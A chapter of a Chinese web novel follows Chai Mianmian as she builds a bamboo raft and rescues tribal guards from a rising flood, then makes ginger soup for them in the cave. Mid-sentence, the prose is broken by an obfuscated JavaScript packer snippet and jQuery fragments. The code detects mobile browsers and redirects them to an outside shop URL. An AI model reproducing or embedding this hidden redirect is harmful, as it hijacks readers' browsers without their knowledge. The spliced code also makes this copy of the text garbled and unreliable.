外面的雨未曾减弱半分,柴棉棉刚出去,就被浇了个透心凉。
身上的兽皮衣裳吸了水比麻布衣裳更重、穿着更难受,好在柴棉棉已经历过,能勉强忍下来。
她挡住眼睛,朝阿爸阿妈那边望一眼,递过去一个‘你们放心’的眼神,便跟在高坚后面走出了院子。
“下山路滑,容易摔跤,大家要小心,脚踩实了再迈下去。”
一行人小心翼翼的,下到了广场那里,广场上有些积水,但不是洪水淹上来的,是本身地势平坦留积的雨水,淹没了大家的脚背。
广场下面,是一段陡峭的小路,族人在小路上修建了石阶,平时走起来还算稳当。
一个狩猎队成员拉着大家到小路边,伸手指向远处:“你们看!”
大伙儿循着他手指的方向抬眼一瞧,顿时齐齐倒吸一口凉气。
树影幢幢间透出的远处,一天黑色大江犹如从黑沉沉的天上垂落下来,又如一条黑色巨龙盘旋在眼前,更可怕的是,这黑色巨物仿佛会呼吸,每呼吸一次便涨大一分,仿佛正在缓慢地吞噬周围的一切,压迫感铺天盖地而来,看得柴棉棉身体直发抖,鸡皮疙瘩一阵又一阵,腿软脚软,如同犯了巨物症。
自然界天灾之恐怖,远非人力所能抗衡。
高坚打破平静,大声喝道:“别看了!都别看了!赶紧下山救人!再不救人第一阶岗哨就要被彻底淹没了!”
柴棉棉往下望,几根直直的柱子竖在那儿,鼓声已经停了,显得有几分孤寂。
一行人踩着陡峭的石阶小心翼翼地下山,直奔第二阶岗哨。
“部落已经收到消息,可以撤了!都下来,赶紧上山!去老祭司那儿!族人们都在那里!”
雨声轰隆,狩猎队成员们大喊大叫,帮忙扶着梯子让守在第二岗哨的族人下来,让他们赶紧上山去。
继续往下走,没过多久,便到了黑色巨物的边缘。
黑色的水流不停向东,分不清是缓慢平稳还是湍急有漩涡。二十米开外,第一岗哨被淹得只剩最上方的瞭望台,顶上的棚子被大雨冲得七零八落,像一叶残破的扁舟。
柴棉棉两手立在嘴边扩音,大声喊道:“牛角阿爷——你还好吗——”
咚!咚!咚!
是鼓声!是振奋而又坚定的鼓声!
柴棉棉高兴地说:“太好了!牛角阿爷状态还很好!”
她开始思索,要如何才能安全地将牛角阿爷救出来?
“高坚叔叔,带绳索了吗?”
“带了,是部落最粗最结实的绳索,我们每个人都带了好大一捆。”
“那我们先把竹筏做出来。”
距离岗哨的这一段水流深度不超过4米,即使有漩涡,也不至于是大型致命款,但还是要想办法稳定竹筏,尽可能避免漩涡卷动竹筏、拉扯人体,影响救援稳定性。
柴棉棉做了双层结构,底层竖铺,上层横铺,形成十字交叉结构,用绳索缠紧打死结。上层竹子的两端要超出底层竹子5厘米,增加横向稳定性。竹筏的四周边缘,也要用绳索紧紧缠绕绑住,把上下层竹子整体捆牢,防止分层。
“牛角阿爷,你接住啊!”
高坚后撤一段距离,助跑加速,腰背用力,大臂挥舞,像扔标枪一样将手中的石头用力地扔出去。
石头极速飞向岗哨,拴着的绳子像尾巴一样在后面飞舞,突然,一只手伸出,准确有力地抓住了这尾巴。
“牛角阿爷,把绳子拴在岗哨的石头上,越稳固越好!”
柴棉棉把绳子另一端牢牢系在竹筏上,使得竹筏与岗哨遥遥相连,然后再取一根绳子,分别系在竹筏和高坚的腰上,让竹筏和高坚也连在一起。
她把划桨递给高坚,嘱咐道:“要小心急流和漩涡,尽量趴在竹筏上,降低重心,可以减少侧翻的概率。”
高坚点头。
几个人将竹筏送入水面,高坚上去趴下,划动木浆向前。
柴棉棉两手扩在嘴边:“牛角阿爷!收紧绳子!拉——”
在绳子的拉力和木浆的划动下,竹筏缓缓向前方飘去,刚开始一切都好,仅仅是在水流的作用下,竹筏有些偏左,绳子绷成了一个斜角。
柴棉棉摒气凝神地盯着,连眼皮都不敢眨一下。
到了水面中间,竹筏突然往左偏移了一大截,拉着竹筏的绳子几乎绷成一条横线。
柴棉棉心提到了嗓子眼儿,大声喊:“稳住啊!高坚叔叔,稳住!”
高坚两只手臂紧紧扒在竹筏上,全身绷紧竭尽全力对抗水流,竹筏左摇右晃,终究是没翻。
岗哨那头,牛角也在用力,依靠石头一截一截缓慢地收紧绳子。
竹筏缓缓逃离那段危险的水流,靠向了岗哨。
柴棉棉顿时松了口气。
扶着牛角阿爷踩上竹筏,解下系在岗哨石头上的绳子,两个人趴在竹筏上划桨,就轮到柴棉棉这边拉绳了。
柴棉棉这边的绳子是拴在树干上的,也非常牢固,几个狩猎队成员一截一截往回拉,有惊无险地将竹筏连带着两人拉回了岸边。
柴棉棉过去扶他们:“高坚叔叔,你没事吧?牛角阿伯,你没事吧?”
高坚摇头:“没事,那不是漩涡,只是水流中间突然湍急了一段,到了岗哨边就缓了,没多大危险。”
牛角大喘气笑道:“你们来得很及时,我以为我就要死在这里了,没想到还能活,哈哈,真是意外之喜!”
高坚握住拳头,轻捶了下他的胸膛:“你这话说的,你给部落报信,部落怎么会不管你?能救当然会尽力救。”
柴棉棉催促道:“先派人送牛角阿爷上山吧,第一阶岗哨还有五个人,咱们得抓紧时间,把人都救下来。”
送牛角阿伯上山的狩猎队成员又带了些强壮族人下来,连阿爸也下来了。大家分头行事,抢在洪水彻底淹没第一阶岗哨之前,将五个人全部解救了出来。
“棉棉,你没事吧?”
“我没事阿爸,走,咱们上山!”
一群人互相搀扶着拉扯着爬到了山顶,力气耗尽,四仰八叉地躺在地上直喘气,累得什么都顾不了。
柴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663222|180883||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
棉棉尚有余力,没躺下,去里间山洞找到老祭司,请求道:“老师,可不可以煮一点野姜汤给高坚他们喝,他们在雨里泡了半个晚上,再强悍的身体也要抗不住了。”
老祭司一边点头一边咳嗽:“去,去吧。”
“太好了,多谢老师!”柴棉棉顿时喜上眉梢,看见老祭司面容苍老虚弱的模样,又不禁心生愧疚,“老师,等我煮好了野姜汤就过来侍奉您。”
老祭司摇头:“部落的事情更要紧。”
她连连挥手,赶棉棉出去忙活。
柴棉棉深深鞠了一躬,转身离开了。
拿野姜,填柴火,打火烧水,煮姜汤,柴棉棉一回生二回熟,且大人比小孩听话,很快便个个端着一碗热汤慢慢啜饮着。
高坚靠在洞穴门口,看着一个不少的狩猎队成员们和守岗的族人们,心里不禁涌起淡淡的满足感和自豪感。
柴棉棉递姜汤给他,他眉飞色舞悄声打趣:“刚刚你在族会上,很厉害嘛!连我都有点吓到了,都不像你了。”
柴棉棉两眼茫然:“什么?”
高坚看看左右,把声音压得更低:“呛声啊,你和慧月。那一巴掌拍桌子上,气势特别足。”
柴棉棉愣住了。
她回忆起下山之前的会议,后知后觉!
原来她也可以和别人激情争吵了呀?没委屈!没哭!没有被动摇观点!也没有把事情闹到不可收拾的地步!
她居然变得如此厉害了呀!
柴棉棉看着自己的双手,情不自禁咧开嘴笑了起来。
“棉棉?棉棉!”
柴棉棉醒神,下意识笑道:“谢谢你,高坚叔叔。”
她拿过高坚手里的空碗,乐滋滋去添第二批姜汤了。
瞅见她毫不犹豫转身离开的高坚伸手:——哎!
我都夸你了,你怎么不夸我呀?
委屈巴巴.JPG
……
外面的天渐渐亮了,雨却依旧没停,族长再次召集开会,商议后续安排。
先是派人下去探查,洪水已经彻底淹没了第一岗哨,并持续上涨,淹到了第二岗哨的底部。
族人们家家都备有腌肉,吃十天半个月没问题,暂时食物不愁,但不知道这雨要下多长时间?
要为最坏的情况做准备,得现在就开始做船,尽可能做最好的船,学习驶船技术,一为了去其他山头捕猎,二便是为了不得已的迁徙。
柴棉棉临危受命,要为族人们做船驶船提供理论知识指导。
她刚换了一身干净衣服,这下子又要出去淋雨了。
洞穴外面的院子里,棚子已经连成了一片,为了最大程度利用空间,家家户户都把自己的棚子与周围邻居的棚子连在一起,合起来形成了一个非常大的棚户区,族人们在柱子间走来走去,家庭与家庭之间看上去亲密极了。
柴棉棉绕过杂物走向院子外面,突然一个人跑过来拦在她面前。
“棉棉阿妹!”
柴棉棉看向来人,目露惊讶:“红岩阿哥,你有什么事情吗?”